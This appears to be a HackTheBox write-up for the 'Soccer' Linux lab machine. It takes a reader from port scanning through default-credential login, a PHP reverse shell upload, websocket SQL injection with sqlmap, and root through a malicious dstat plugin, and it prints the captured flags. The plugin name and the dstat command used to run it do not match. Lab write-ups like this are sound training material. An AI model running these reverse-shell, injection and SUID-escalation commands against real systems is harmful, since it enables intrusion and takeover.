Soccer
Easy Linux HTB box Machine

Reconnaissance
As always we start off with a port scan using Nmap
nmap -p- --open -Pn -n --min-rate 5000 -sS -sCV -oN scan 10.10.11.194
# Nmap 7.95 scan initiated Mon Jul 28 12:12:35 2025 as: /usr/lib/nmap/nmap --privileged -p- --open -Pn -n --min-rate 5000 -sS -sCV -oN scan 10.10.11.194
Nmap scan report for 10.10.11.194
Host is up (0.043s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
| 256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_ 256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
-- SNIP --
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 28 12:13:03 2025 -- 1 IP address (1 host up) scanned in 27.73 seconds
We see that TCP Port 22 (SSH)
| TCP Port 80 (HTTP)
are open, we can also notice that this server is using Virtual Hosting to soccer.htb
so we add it to our /etc/hosts
file
We also check something interesting: The TCP Port 9091 (?)
is open which is curious, it gives us a hint for later on exploitation.
Let's start off by enumerating the Web Server using WhatWeb
where we will try to enumerate the services and potential attack vectors for later:
whatweb http://soccer.htb
http://soccer.htb [200 OK] Bootstrap[4.1.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.194], JQuery[3.2.1,3.6.0], Script, Title[Soccer - Index], X-UA-Compatible[IE=edge], nginx[1.18.0]
We proceed to manually check the webpage with our browser

As we don't seem to find anything useful here, let's perform a directory brute-forcing using GoBuster
gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 200
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soccer.htb
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htm (Status: 403) [Size: 162]
/.html (Status: 403) [Size: 162]
/. (Status: 200) [Size: 6917]
/.htaccess (Status: 403) [Size: 162]
/.htc (Status: 403) [Size: 162]
/.html_var_DE (Status: 403) [Size: 162]
/.htpasswd (Status: 403) [Size: 162]
/.html. (Status: 403) [Size: 162]
/.html.html (Status: 403) [Size: 162]
/.htpasswds (Status: 403) [Size: 162]
/.htm. (Status: 403) [Size: 162]
/.htmll (Status: 403) [Size: 162]
/.html.old (Status: 403) [Size: 162]
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
-------- SNIP ---------
Progress: 20598 / 63089 (32.65%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 22403 / 63089 (35.51%)
We found a interesting soccer.htb/tiny
directory so let's check that out!

We try with the default H3K Tiny File Manager
credentials: admin:admin@123
and success! we logon onto the admin dashboard panel

And we also find that the /var/www/html/tiny/uploads directory is writeable and we we can upload files there! so we upload a Reverse Shell on our shell.php file
Exploitation
php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash <&3 >&3 2>&3");'
We set up our listener with netcat... And we got our reverse shell as www-data done!
nc -lvnp 1336
Listening on 0.0.0.0 1336
Connection received on 10.10.11.194 51998
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
14:14:06 up 52 min, 1 user, load average: 0.06, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1042): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:/$
After further enumeration we don't seem to find any PrivEsc
vectors, but we find a interesting file
www-data@soccer:/etc/nginx/sites-enabled$ ls
ls
default
soc-player.htb
www-data@soccer:/etc/nginx/sites-enabled$
As we see, there's another site enabled for this web server below the name of soc-player.soccer.htb
so we add into our /etc/hosts file as we did earlier and proceed to check whats in there

Seems familiar right? It's almost the same as the soccer.htb
dashboard but with some noticeable differences: the Match
, Tickets
and Logout
panels, after enumerating everything and signing up, we realize the server gives us a ticket on the Tickets
section
Let's check how this works with BurpSuite

We can see that when we put the correct code it sends "Ticket Exists" to soc-player.soccer.htb:9091
However if we try to perform a basic SQLi using the payload:
{"id":"666 OR 1=1"}
Ticket Exists
Let's try to perform a SQLi attack with SQLMap
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
___
__H__
___ ___[)]_____ ___ ___ {1.9.6#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:35:13 /2025-07-28/
----------- SNIP -------------
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
[15:35:33] [INFO] fetched data logged to text files under '/home/delorian/.local/share/sqlmap/output/soc-player.soccer.htb'
[*] ending @ 15:35:33 /2025-07-28/
We see that we can enumerate some databases, but we're interested on the soccer_db
one so let's try and check what's inside
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
And we found the password for the username player !! Let's try and login using SSH
ssh player@soccer.htb
player@soccer.htb's password: PlayerOftheMatch2022
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
Privilege Escalation
As we successfully logon with the user player
, let's try and find a way to escalate our privileges to root
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
player@soccer:~$ find / -perm -4000 -ls 2>/dev/null
70968 44 -rwsr-xr-x 1 root root 42224 Nov 17 2022 /usr/local/bin/doas
18263 140 -rwsr-xr-x 1 root root 142792 Nov 28 2022 /usr/lib/snapd/snap-confine
7696 52 -rwsr-xr-- 1 root messagebus 51344 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
14300 464 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /usr/lib/openssh/ssh-keysign
16207 24 -rwsr-xr-x 1 root root 22840 Feb 21 2022 /usr/lib/policykit-1/polkit-agent-helper-1
7700 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
1753 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
2093 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
1752 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
------------ SNIP --------------
1166 39 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /snap/core20/1695/usr/bin/umount
1255 51 -rwsr-xr-- 1 root systemd-resolve 51344 Oct 25 2022 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
1627 463 -rwsr-xr-x 1 root root 473576 Mar 30 2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
player@soccer:~$
We found a weird binary with SUID 0: /usr/local/bin/doas
so let's check it using man doas
• The config file /usr/local/etc/doas.conf could not be parsed.
• The user attempted to run a command which is not permitted.
• The password was incorrect.
• The specified command was not found or is not executable.
SEE ALSO
su(1), doas.conf(5)
We can see it points to the /usr/local/etc/doas.conf
as the configuration file so let's check that also
player@soccer:/usr/local/etc$ cat doas.conf
permit nopass player as root cmd /usr/bin/dstat
player@soccer:/usr/local/etc$
As we can see this file also points out to another file, in this case /usr/bin/dstat
lo let's do man dstat
FILES Paths that may contain external dstat_*.py plugins:
----- SNIP -----
PLUGINS
While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly. Here is an overview of the plugins dstat ships with:
----- SNIP -----
~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/
------ SNIP -----
We can see we can create our own plugins in order to escalate our privileges, so let's write a malicious Python
plugin on /usr/local/share/dstat
echo 'import os; os.system("chmod u+s /bin/bash")' > /usr/local/share/dstat/dstat_pwn.py
-------- EXECUTE THE PAYLOAD WITH doas ----------
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --root
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_root failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0
whoami
root
------ RETRIEVE BOTH FLAGS!!! ------------
bash-5.0
cat /root/root.txt
bfef435d28f941a5913079bfd6a7ea7a
bash-5.0
cat /home/player/user.txt
4073453b05e9902332f3820e814ddbc7
Hope you liked this write-up and see you next time!
Last updated